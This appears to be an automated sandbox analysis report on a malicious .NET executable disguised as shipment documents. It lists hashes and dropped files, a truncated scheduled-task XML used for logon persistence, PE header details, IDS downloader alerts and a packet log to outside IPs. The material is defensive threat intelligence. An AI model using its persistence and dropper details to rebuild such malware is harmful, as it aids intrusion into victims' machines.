MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379736180876081
Encrypted:	false
SSDEEP:	48:tWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//YUyus:tLHyIFKL3IZ2KRH9Oug8s
MD5:	D8B04C656CC5C9421FAD6B626E6A2EF1
SHA1:	68B625362ACEC0E85A074829D5ACF94EEB5C97E6
SHA-256:	CACA00B0843523626D1560DD9244C2ED9F1D15628D14B3231DD05A0AC1D60293
SHA-512:	1FC0FEA68AC201F7DE945FA132434E27C255F08B30B3CBBAF825A1809D7ED706D8569CF1B75918A3383E9AA7F1DC52CEC7D60725F963801F97B1012C82165D60
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2avoa3gt.4q0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4krynbdl.33r.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5t3bh3t3.ehn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jycxlpzp.vxt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_me3gq5m1.waw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_skfts1sn.dv5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wysnqmj2.m2l.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xkydfyjv.g11.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp44A0.tmp

Download File

Process:	C:\Users\user\Desktop\rShipmentDocuments.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1576
Entropy (8bit):	5.110917865838122
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtagKxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTvev
MD5:	FF538A65DF2E9BBCC2651DCF881BD89F
SHA1:	429AE22BF3F5A2171CA564673CB52E6A0A1D276C
SHA-256:	F67551C7BD363B57A314ED9DA63D9B3C205C844D6BEAC3CF7B550F68E6689C88
SHA-512:	349CCC3D0BB83621DE247D75039C2A908BF3FBDCAA227E650ED6311E948E227086F0DF8937988776D50848841033DBF7249EC7C7129C1AF6CB019D40712F2571
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp5356.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1576
Entropy (8bit):	5.110917865838122
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtagKxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTvev
MD5:	FF538A65DF2E9BBCC2651DCF881BD89F
SHA1:	429AE22BF3F5A2171CA564673CB52E6A0A1D276C
SHA-256:	F67551C7BD363B57A314ED9DA63D9B3C205C844D6BEAC3CF7B550F68E6689C88
SHA-512:	349CCC3D0BB83621DE247D75039C2A908BF3FBDCAA227E650ED6311E948E227086F0DF8937988776D50848841033DBF7249EC7C7129C1AF6CB019D40712F2571
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Download File

Process:	C:\Users\user\Desktop\rShipmentDocuments.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	731136
Entropy (8bit):	7.836582313791281
Encrypted:	false
SSDEEP:	12288:OskYjNiZUyOEXNHqmMqNuGV7w1dgRFreBtN0V9a+W3OeqWNXWqpIlZreBz:OskY4ZUyOoVjMqNvV02RliSa+W3OeqbS
MD5:	FF8C4AB4EC18F05864879323F4A41050
SHA1:	6552329870D1A2627B5E9B6B6CFD3D2EFEA87735
SHA-256:	DB4523C5FA05ACF8D6C8D47C722A5C39A728078F94A7F6877FAA0A6FB87AFC33
SHA-512:	3F9F38DDDDC665FE1664AE356BD18D70767D0DF3925DFE0A1AD324DC29CB1738F7E1E49DDB55D62FF1204D4ECBA13A3E557EBBFFB2D8DD8AEA35B10595E76B67
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29% Antivirus: Virustotal, Detection: 38%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k.g..............0.................. ...@....@.. ....................................`.....................................W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......&..............@..B........................H......................pr.../...........................................0..............0...........(.......s....o.........0...........{......0............}.....0...........{......0............}.....0...........{......0............}.....0...........{......0............}.....0...........{......0............}.....0...........{......0............}.....0...........{......0............}.....0...........{......0............}.....0...........{....*..0............}.

C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\rShipmentDocuments.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.836582313791281
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	rShipmentDocuments.exe
File size:	731'136 bytes
MD5:	ff8c4ab4ec18f05864879323f4a41050
SHA1:	6552329870d1a2627b5e9b6b6cfd3d2efea87735
SHA256:	db4523c5fa05acf8d6c8d47c722a5c39a728078f94a7f6877faa0a6fb87afc33
SHA512:	3f9f38ddddc665fe1664ae356bd18d70767d0df3925dfe0a1ad324dc29cb1738f7e1e49ddb55d62ff1204d4ecba13a3e557ebbffb2d8dd8aea35b10595e76b67
SSDEEP:	12288:OskYjNiZUyOEXNHqmMqNuGV7w1dgRFreBtN0V9a+W3OeqWNXWqpIlZreBz:OskY4ZUyOoVjMqNvV02RliSa+W3OeqbS
TLSH:	CDF402947601F4AFC8A38B714970EE3656606D7ED217D203A5EB0CABB90C6D79F042F2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k.g..............0.................. ...@....@.. ....................................`................................

File Icon


Icon Hash:	01242c66198d8d9e

Static PE Info

General

Entrypoint:	0x4b2eee
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67086BC5 [Fri Oct 11 00:05:25 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb2e94	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb4000	0x13a0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb0ef4	0xb1000	c0ca5f2b1c6a59e831a518f66851b2a6	False	0.9136087018891242	data	7.843601109745972	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb4000	0x13a0	0x1400	6db8d0c06bec1be6b093712fbab9dd0c	False	0.7779296875	data	7.024434569967951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb6000	0xc	0x200	d3796c53484af9b2d0e55926dbea4140	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb40e8	0xf91	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.8936010037641154
RT_GROUP_ICON	0xb507c	0x14	data	1.05
RT_VERSION	0xb5090	0x30c	data	0.43205128205128207

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-11T09:35:17.205286+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	132.226.247.73	80	TCP
2024-10-11T09:35:19.911334+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	132.226.247.73	80	TCP
2024-10-11T09:35:20.420242+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49738	188.114.96.3	443	TCP
2024-10-11T09:35:20.642777+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49737	132.226.247.73	80	TCP
2024-10-11T09:35:21.299031+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49739	132.226.247.73	80	TCP
2024-10-11T09:35:21.549600+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49737	132.226.247.73	80	TCP
2024-10-11T09:35:21.683879+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49741	188.114.96.3	443	TCP
2024-10-11T09:35:22.078082+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	443	TCP
2024-10-11T09:35:22.814729+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49744	132.226.247.73	80	TCP
2024-10-11T09:35:23.033039+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49745	188.114.96.3	443	TCP
2024-10-11T09:35:23.360136+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49746	188.114.96.3	443	TCP
2024-10-11T09:35:24.346686+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49749	188.114.96.3	443	TCP
2024-10-11T09:35:29.560790+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	443	TCP
2024-10-11T09:35:30.000137+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49766	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 09:35:16.030736923 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:16.036092997 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:16.036227942 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:16.036529064 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:16.041456938 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:16.912301064 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:16.955323935 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:16.960380077 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:17.159961939 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:17.205286026 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:17.370440006 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:17.370472908 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:17.370815992 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:17.380942106 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:17.380965948 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:18.875452042 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:18.875513077 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:18.882421970 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:18.882435083 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:18.882867098 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:19.036084890 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:19.083412886 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:19.572607040 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:19.572681904 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:19.572742939 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:19.578602076 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:19.588538885 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:19.593466043 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:19.650707960 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:19.655613899 CEST	80	49737	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:19.655695915 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:19.655952930 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:19.660849094 CEST	80	49737	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:19.794353008 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:19.816308975 CEST	49738	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:19.816345930 CEST	443	49738	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:19.816643000 CEST	49738	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:19.816792965 CEST	49738	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:19.816798925 CEST	443	49738	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:19.911334038 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:20.281035900 CEST	443	49738	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:20.283422947 CEST	49738	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:20.283441067 CEST	443	49738	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:20.348445892 CEST	80	49737	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:20.352443933 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:20.357366085 CEST	80	49737	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:20.420217991 CEST	443	49738	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:20.420319080 CEST	443	49738	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:20.420356989 CEST	49738	443	192.168.2.4	188.114.96.3
